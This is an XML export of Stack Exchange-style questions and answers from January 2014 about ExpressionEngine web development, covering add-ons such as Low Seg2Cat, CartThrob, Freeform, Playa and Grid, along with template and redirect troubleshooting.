  <row Id="18686" PostTypeId="1" CreationDate="2014-01-23T17:28:48.970" Score="1" ViewCount="165" Body="&lt;p&gt;I am trying to grab the category ID from the last segment to use in a redirect back to that category page but nothing is showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main page is &lt;a href=&quot;http://domain.com/store/shop/C28&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/store/shop/C28&lt;/a&gt;, then you click to view a single entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the entry is &lt;a href=&quot;http://domain.com/store/product_detail/158&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/store/product_detail/158&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where 158 is the entry_id to display a dynamic entry showing one product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my redirect (after adding the product to a cart) I want to go back to &lt;a href=&quot;http://domain.com/store/shop/C28&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/store/shop/C28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use this in my add to cart but nothing is parsing for the seg2cat&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return=&quot;http://hookingrugs.com/store/shop/C{last_segment_category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view source I just see &lt;a href=&quot;http://hookingrugs.com/store/shop/C&quot; rel=&quot;nofollow&quot;&gt;http://hookingrugs.com/store/shop/C&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with no ID.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I just place {last_segment_category_id} on the page outside of any other tags I still get nothing.  Why does low seg2cat not pick up on the last entry ID.&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="172" LastEditDate="2014-01-24T09:22:26.437" LastActivityDate="2014-01-24T09:22:26.437" Title="Is Low Seg2Cat working correctly?" Tags="|categories|low-seg2cat|low|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18688" PostTypeId="2" ParentId="18686" CreationDate="2014-01-23T17:47:50.063" Score="4" Body="&lt;p&gt;Low Seg2Cat doesn't pick-up category information associated with &lt;strong&gt;channel entry IDs&lt;/strong&gt; in the URL - it picks up category information associated with &lt;strong&gt;category URL titles&lt;/strong&gt; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it is working, but it doesn't do what you thought it might do.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="172" LastEditDate="2014-01-24T08:41:29.353" LastActivityDate="2014-01-24T08:41:29.353" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18689" PostTypeId="2" ParentId="18247" CreationDate="2014-01-23T18:06:47.143" Score="1" Body="&lt;p&gt;As you say by default Channel Form can output an editable grid by &lt;code&gt;{field:grid_field}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's 'useful' how EE displays the table code, names fields and auto loads in the required CSS &amp;amp; JS. Not so handy for styling. One option would be to load in another CSS file after EE's grid CSS to style it how you need - this is the easiest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get looping field data use a Custom Field Tag Pair. The docs are unclear how to handle tag pair data like Grid. Frustrating as the docs even reference Grid for the tag pair!&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#custom-field-tag-pair&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html#custom-field-tag-pair&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to get the data out, but to do so it looks like it's just the normal tags from &lt;code&gt;channel:entries&lt;/code&gt; doing the work rather than &lt;code&gt;channel:form&lt;/code&gt;. Importantly EE does save the data back to the Channel entry. The tricky part will be adding JS functionality Grid requires for adding rows etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at what field names &lt;code&gt;{field:grid_field}&lt;/code&gt; outputs I've duplicated them for my custom form fields. On submit EE does update Grid. Theoretically you could write your own JS to add new rows or link to EEs JS, but you'd need to make sure your HTML has the IDs and classes Grid JS is expecting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;channel=&quot;channel&quot;&#xA;entry_id=&quot;1&quot;&#xA;}&#xA;&#xA;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&#xA;    &amp;lt;table&amp;gt;&#xA;    {grid_field}&#xA;&#xA;        &amp;lt;tr&amp;gt;&#xA;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;grid_field[rows][row_id_{grid_field:count}][col_id_1]&quot; value=&quot;{grid_field:grid_input}&quot;&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;textarea name=&quot;grid_field[rows][row_id_{grid_field:count}][col_id_2]&quot;&amp;gt;{grid_field:grid_text_area}&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;    {/grid_field}&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;hr&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;** There is an issue with doing like this. Using single tags, EE doesn't update any fields you don't include in the form. Unfortunately leaving out fields from grid, blanked out existing data, so you'd need to include all fields even if hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also doing it like this, everything is hard-coded so if you added another field to grid you'd have to update your template.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2014-01-24T12:30:59.200" LastActivityDate="2014-01-24T12:30:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18690" PostTypeId="1" AcceptedAnswerId="20219" CreationDate="2014-01-23T18:22:55.283" Score="0" ViewCount="85" Body="&lt;p&gt;Thi seems really odd, as all other notifications are sent successfully, but no emails are sent when a guest makes a purchase (via SagePay), and from my testing it seems the basket is not cleared. I turned on email logging to verify this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a CT bug or is it just me?!&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-03-12T12:30:00.890" Title="Notification emails not sent to admin or customer if customer not logged in" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18691" PostTypeId="1" AcceptedAnswerId="19976" CreationDate="2014-01-23T19:15:46.540" Score="2" ViewCount="88" Body="&lt;p&gt;I was running 2.6.1 and I logged in today (hadn’t logged in since june 2013), none of the EE menus are working.  All the menus and buttons at the top do not work anymore.  I upgraded to the latest version flawlessly but yet still none of the buttons or menus are working.  It’s like the AJAX/jquery or whatever they use to show the menus isn't being loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sidebar will not expand either.  The menus at the bottom of the control panel EE Info, Learning EE, News and Stats, &amp;amp; quick tips wont expand either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I edit an Entry none of the buttons work there either, ie: publish, date, ping, pages, revisions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all load but there is no effect when I click on them.  Yes I have tried uploading it all again.  I even uploaded it and tried it as fresh install (as a new site) and they still didn't work. I have tried it on IE, Chrome, Firefox, Safari. None of the menus works.  It doesn't make any sense to me really.&lt;/p&gt;&#xA;" OwnerUserId="2651" LastEditorUserId="2651" LastEditDate="2014-01-23T19:46:54.970" LastActivityDate="2014-03-04T19:10:20.433" Title="Why my Expression Engine default menus don't load?" Tags="|ee2|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18692" PostTypeId="1" CreationDate="2014-01-23T19:36:43.637" Score="0" ViewCount="151" Body="&lt;p&gt;I am looking at the Solspace Freeform (free version) documentation and &lt;strong&gt;I see this&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:all_form_fields}&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;    {freeform:field_output}&#xA;    {if freeform:field_type == 'text'}&#xA;        hello!&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;{/freeform:all_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this in my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;expert_request&quot;} &#xA;&#xA;    {freeform:all_form_fields}&#xA;        &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;        {freeform:field_output}&#xA;    {/freeform:all_form_fields}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what outputs on my site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field_label}&#xA;{freeform:field_output}&#xA;{freeform:field_label}&#xA;{freeform:field_output}&#xA;{freeform:field_label}&#xA;{freeform:field_output}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why the output on the tags is returning nothing? Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;~DVL&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-04-24T12:15:53.457" Title="Solspace Freeform (free version) {freeform:all_form_fields} not working" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18693" PostTypeId="1" AcceptedAnswerId="18829" CreationDate="2014-01-23T19:52:01.350" Score="0" ViewCount="138" Body="&lt;p&gt;This is what I want to do: Show data just from  a Matrix row whose Playa column is the child that 2 channels (coparents) share. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 channels: Sizes, Colors, and Price Groups. Sizes has a playa field &quot;cf_price_group_playa&quot; which references Price Group, and Colors has a Matrix field, cf_size_price, with a playa column, that references the channel Price Group as well. I want to pull &lt;em&gt;only&lt;/em&gt; the price for this size in the price group that the color I'm currently looking at is in; if I don't search explicitly on that playa column, I get all the matrix rows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;colors&quot;}&#xA;    {exp:playa:coparents channel=&quot;sizes&quot;  field=&quot;cf_price_group_playa&quot;} &#xA;        {cf_size_price search:price_group=&quot;THE_SHARED_PRICE_GROUP&quot;}&#xA;        {price}&#xA;        {/cf_size_price}&#xA;    {/exp:playa:coparents}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm clearly doing something wrong and am tripping myself up figuring it out. It seems so clear, the relationship among these channels, but I'm not getting the front-end bit right. I appreciate insight from the Playa gurus here! &lt;/p&gt;&#xA;" OwnerUserId="758" LastActivityDate="2014-01-28T20:00:18.083" Title="Playa Coparents: Getting just the matrix row I want" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18694" PostTypeId="2" ParentId="18647" CreationDate="2014-01-23T20:10:52.037" Score="5" Body="&lt;p&gt;Usually when creating a gateway that uses an html form to post directly to the payment service, we use both of the functions you mentioned. Here's the general overview:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the charge method&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create the security hash/fingerprint if required&lt;/li&gt;&#xA;&lt;li&gt;For the return/redirect URL in the html form, use &lt;code&gt;$this-&amp;gt;response_script(__CLASS__)&lt;/code&gt; this will make use of a file called extload.php and an extload method in your gateway. (Make sure that file is set up correctly with your system path. By default this file is in themes/third_party/cartthrob/lib/ )&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;$this-&amp;gt;gateway_exit_offsite(NULL,  $url=FALSE, $jump_url= FALSE);&lt;/code&gt; This basically does some maintenance functions to prepare the cart for going offsite.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Echo out the html form with the required fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of how to use a second credit card form that submits directly to the payment service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function charge($credit_card_number)&#xA;{&#xA;    // Do whatever you need to do here before the credit card form.&#xA;    // Usually this will include a security hash generation or&#xA;    // data formatting that needs to be passed along to the payment service&#xA;&#xA;    // create an array for the credit card form&#xA;    $jump_html[] =  &quot;&amp;lt;form method='post' action='YOUR_FORM_ACTION'&amp;gt;&quot;;&#xA;&#xA;    // add your form fields&#xA;    $jump_html[] = &quot;&amp;lt;input type='hidden' name='SECURITY' value='YOUR_HASH' /&amp;gt;&quot;;&#xA;    $jump_html[] = &quot;&amp;lt;input type='text' name='SOMEFIELD' value='' /&amp;gt;&quot;;&#xA;    $jump_html[] = &quot;&amp;lt;input type='submit' value='submit' /&amp;gt;&quot;;&#xA;    $jump_html[] = &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;    // this is called for maintenance functions.&#xA;    // You'll note that we're telling it not to do any redirection or jump pages.&#xA;    $this-&amp;gt;gateway_exit_offsite(NULL, $url=FALSE, $jump_url= FALSE);&#xA;&#xA;    // echo out the form    &#xA;    foreach ($jump_html as $line)&#xA;    {&#xA;        echo $line; &#xA;    }&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To handle the response from the payment service&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You'll be using a method called extload to handle the response &lt;code&gt;function extload($post){}&lt;/code&gt; That $post variable will contain the payment service's response. All of the following items take place inside that extload method.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You generally need to relaunch the cart snapshot you saved earlier when you called the &lt;code&gt;gateway_exit_offsite&lt;/code&gt; method. The gateway should be returning your order id in its response, in your example I'm guessing the order id is refid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;relaunch_cart_snapshot($post['refid']);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the $post response to create an array of responses to use with the &lt;code&gt;{exp:cartthrob:submitted_order_info}&lt;/code&gt; tag. The values contained in the $post response varies by payment service, but there's usually some kind of status code that tells you if the payment is authorized or if there are errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of the response array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$auth = array(&#xA;    'authorized' =&amp;gt; FALSE,&#xA;    'error_message' =&amp;gt; NULL,&#xA;    'failed' =&amp;gt; TRUE,&#xA;    'declined' =&amp;gt; FALSE,&#xA;    'transaction_id' =&amp;gt; NULL, &#xA;    'processing' =&amp;gt; FALSE&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those values would need to be updated based on the response returned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Return that array and redirect to your Thank you page using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;gateway_order_update($auth, $this-&amp;gt;order('order_id'), $this-&amp;gt;order('return'));&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2584" LastEditorUserId="2584" LastEditDate="2014-01-27T22:48:13.423" LastActivityDate="2014-01-27T22:48:13.423" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18696" PostTypeId="1" CreationDate="2014-01-23T21:49:50.707" Score="2" ViewCount="74" Body="&lt;p&gt;I am trying to redirect a user back 2 pages after they add an item to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugins or dynamic methods that would make this work?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-01-28T16:56:40.840" Title="how to redirect back 2 pages after add to cart in Cart Throb" Tags="|cartthrob|redirects|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18697" PostTypeId="2" ParentId="18650" CreationDate="2014-01-23T22:02:48.867" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Expresso Fedex Shipping plugin take product weight into account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Unless you have enabled &quot;free shipping&quot; for any items on the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not the problem, then it's probably best that you email support@exp-resso.com about this one, so that we can take a deeper look into your specific site.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-23T22:02:48.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18698" PostTypeId="1" CreationDate="2014-01-23T22:03:44.667" Score="1" ViewCount="702" Body="&lt;p&gt;I've set up an Artist gallery on a site that I'm building using &lt;a href=&quot;http://flexslider.woothemes.com/thumbnail-controlnav.html&quot; rel=&quot;nofollow&quot;&gt;FlexSlider&lt;/a&gt;. It works great except that there's this really strange issue where the large image is not matched to the thumbnail navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumbnails are in the correct order but the large images displayed are off by one. i.e. the first image displayed should be displayed second with the final image being the first one. Really weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;exhibition|artist&quot; limit=&quot;1&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;      {artist_gallery}&#xA;        &amp;lt;li data-thumb=&quot;{artist_gallery:art_image:100square}&quot;&amp;gt;&amp;lt;img src=&quot;{artist_gallery:art_image:570x470}&quot; alt=&quot;{artist_gallery:art_title}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/artist_gallery}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the front end the source code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;flexslider&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;http://domain.com/uploads/general/_100square/test14.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/general/_570x470/test14.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;http://domain.com/uploads/general/_100square/test4.jpeg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/general/_570x470/test4.jpeg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;http://domain.com/uploads/general/_100square/test5.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/general/_570x470/test5.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;http://domain.com/uploads/general/_100square/test7.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/general/_570x470/test7.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;http://domain.com/uploads/general/_100square/test6.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/general/_570x470/test6.jpg&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;li data-thumb=&quot;&quot;&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked the console and there are no errors. I'm completely flummoxed on this one. Especially considering that in the source view the thumbs and large images line up correctly. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-23T22:45:33.423" Title="Flexslider and Grid - thumb does not match image" Tags="|jquery|grid|template-scripting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18699" PostTypeId="1" AcceptedAnswerId="18734" CreationDate="2014-01-23T22:07:49.067" Score="0" ViewCount="806" Body="&lt;p&gt;I'm making responsive website based on bootstrap front-end framework, but when I &quot;move&quot; static and working HTML pages to EE templates bootstrap parts are not working (for an example accordion effect). Bootstrap CSS and JS are included in the header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any particular steps must be taken to get this to work with EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-01-23T22:16:39.047" LastActivityDate="2014-01-24T15:20:07.890" Title="How to get bootstrap to work with EE" Tags="|bootstrap|" AnswerCount="1" CommentCount="8" ClosedDate="2014-04-30T11:34:11.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="18700" PostTypeId="2" ParentId="15371" CreationDate="2014-01-23T22:11:19.817" Score="2" Body="&lt;p&gt;I had the exact same issue and if it was not for Angie, I would have never figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The solution for us ended up being ridiculously simple. Under the UPS Settings (in Extensions), make sure that the Source Country is correct. I had  something like &quot;United States&quot; but it should be US.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had exactly that, &quot;United States&quot;, and changing it fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-01-23T22:11:19.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18702" PostTypeId="2" ParentId="18698" CreationDate="2014-01-23T22:45:33.423" Score="2" Body="&lt;p&gt;So it looks like the issue was with the flexslider zip. I looked at the demo included in the zip and it has the same issue. I resolved the problem by grabbing the js file from the live demo page.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-23T22:45:33.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18703" PostTypeId="1" AcceptedAnswerId="18710" CreationDate="2014-01-23T22:46:10.120" Score="0" ViewCount="99" Body="&lt;p&gt;I have a batch import I used about a year ago that I was revisiting for some new posts. After making the necessary modifications (different channel but identical fields, different source but similar data) I get an error. It's an alert box with the following &quot;There was error during the processing: Internal Server Error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying multiple modification and even creating a new batch from scratch I can't seem to get a different outcome. Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.3&#xA;Importer 2.2.3&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-01-24T03:59:03.367" Title="Import fails with Internal Server Error" Tags="|solspace-importer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18704" PostTypeId="1" AcceptedAnswerId="18709" CreationDate="2014-01-23T22:52:39.347" Score="2" ViewCount="558" Body="&lt;p&gt;Is there a way to change the HTML markup of the page where you change your password(the page you go to when clicking on the reset password link sent to your email)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to match the look and feel of my EE site.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-24T12:38:19.877" Title="Custom Change Password Page" Tags="|forgot-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18705" PostTypeId="1" CreationDate="2014-01-24T00:03:28.440" Score="1" ViewCount="77" Body="&lt;p&gt;I am looking for a hook where I can dynamically change the table headers of a displayed Grid field in the frontend on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hooks for grid, grid_query and grid_save. So far in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/grid/index.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I don't see anything where I can change the table headers output text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just missing something in these hooks or is there no way to change the table headers output other than editing the core files?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-27T00:59:28.257" Title="Grid hooks to change dynamically change table headers on the fly" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18706" PostTypeId="2" ParentId="18586" CreationDate="2014-01-24T00:25:46.453" Score="0" Body="&lt;p&gt;A new Cartthrob Permissions Admin module (version 2.5) was released today. It should fix the &quot;edit&quot; problem. &lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-24T00:25:46.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18707" PostTypeId="2" ParentId="18581" CreationDate="2014-01-24T00:39:23.517" Score="0" Body="&lt;p&gt;I haven't been able to replicate the error you're reporting. A new Cartthrob Permissions Admin module (version 2.5) was released today. I would recommend installing that update and if you continue to have this problem book a support appointment here: &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-24T00:39:23.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18708" PostTypeId="1" CreationDate="2014-01-24T02:51:25.893" Score="0" ViewCount="44" Body="&lt;p&gt;We are using Expression engine 2.6.2. We have the MSM set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently we updated all the modules inside that we are using. And after that when we want to edit the channel entries in one of the sites in MSM , the system doesn't allow us to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we hit submit after making our changes, it shows &lt;strong&gt;&quot;You must select a valid template for displaying this page.&quot;&lt;/strong&gt;. But the default_site works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this have anything to do with updating the MSM ? We have googled for a solution but unfortunately couldn't find any..!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please kindly help us to fix this. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2513" LastActivityDate="2014-01-24T02:51:25.893" Title="Cannot Edit channel entries in the MSM" Tags="|multi-site-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18709" PostTypeId="2" ParentId="18704" CreationDate="2014-01-24T03:53:55.550" Score="5" Body="&lt;p&gt;You could use custom system messages which sets up the EE specialty templates as editable files:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or freemember which allows you to use your own templates for member specific actions:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot;&gt;http://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used libraree previously as it gives access to system templates as well as saving globals &amp;amp; snippets as files as well:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot;&gt;http://devot-ee.com/add-ons/libraree&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-24T03:53:55.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18710" PostTypeId="2" ParentId="18703" CreationDate="2014-01-24T03:59:03.367" Score="1" Body="&lt;p&gt;I've had similar try limiting the import to say 10 or 20 entries as every time this has happened its been caused by memory issues on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try increasing the memory which may help. But start with a small subset of data and build up from there.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-24T03:59:03.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
